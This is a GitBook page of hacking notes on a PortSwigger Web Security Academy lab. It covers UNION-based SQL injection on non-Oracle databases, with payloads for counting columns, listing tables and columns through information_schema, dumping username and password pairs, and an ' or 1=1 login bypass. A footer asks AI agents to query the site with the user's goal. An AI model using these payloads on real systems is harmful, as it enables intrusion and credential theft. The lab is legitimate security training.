> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/web/sql-injection/non-oracle-database-enumeration.md).

# Non-Oracle Database Enumeration

Non-Oracle Database Enumeration notes for PortSwigger Web Security Academy labs, including exploitation workflow, payload testing, Burp Suite validation, and remediation context.

### SQL Injection Attack, Listing the Database Contents on Non-Oracle Databases

#### Context

* Vulnerable parameter: `category` filter (injection via `WHERE`).
* The application returns SQL results in the answer, allowing `UNION`-based extraction.

#### Objective

* Identify the name of the table containing the credentials, discover its columns, extract `username` / `password` pairs and connect as `administrator`.

#### Methodology (Concise Phases)

1. **Determine the number of columns**/ Example:

   ```sql
   ' ORDER BY 2-- -
   ' ORDER BY 3-- -
   ```

* Increase the index until you cause an error → know the number of columns for `UNION`.

2. **Valider `UNION SELECT`**/ Example (2 columns):

   ```sql
   ' UNION SELECT '1','2'-- -
   ```

* Adapt to returned N columns (use `NULL` for irrelevant columns).

3. \*\* List tables\*\* (non-Oracle basis — `information_schema`)

   ```sql
   ' UNION SELECT NULL, table_name
     FROM information_schema.tables
     WHERE table_schema = 'public'-- -
   ```

* Allows you to list tables in the `public` scheme (Postgres/MySQL compatible).

4. List columns of an identified table

```sql
' UNION SELECT NULL, column_name
  FROM information_schema.columns
  WHERE table_schema = 'public' AND table_name = 'users_arejzy'-- -
```

* Replace `users_arejzy` with the discovery table.

5. Extract Content (dump)

Example (columns identified password/ qxbwwb, username/ lidnwi):

```sql
' UNION SELECT password_qxbwwb, username_lidnwi
  FROM users_arejzy-- -
```

* Adjust the order/type of columns according to the vulnerable request (use `CAST`/`CONCAT`/`NULL` if necessary).

6. Bypass / login

* Once username = administrator and password recovered, connect via authentication page.
* Alternatively, use a payload of auth bypass if the table is not directly accessible (e.g. username = ' or 1=1-- -), but direct exfiltration is preferable for proof.

#### Expected Result

* List of table names, columns, then dump credentials.
* Successful connection as `administrator` using exfilted credentials.

#### Impact

* Compromise accounts (complete escalation if admin), extract sensitive information, change/deletion of data, possible extortion.


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/web/sql-injection/non-oracle-database-enumeration.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.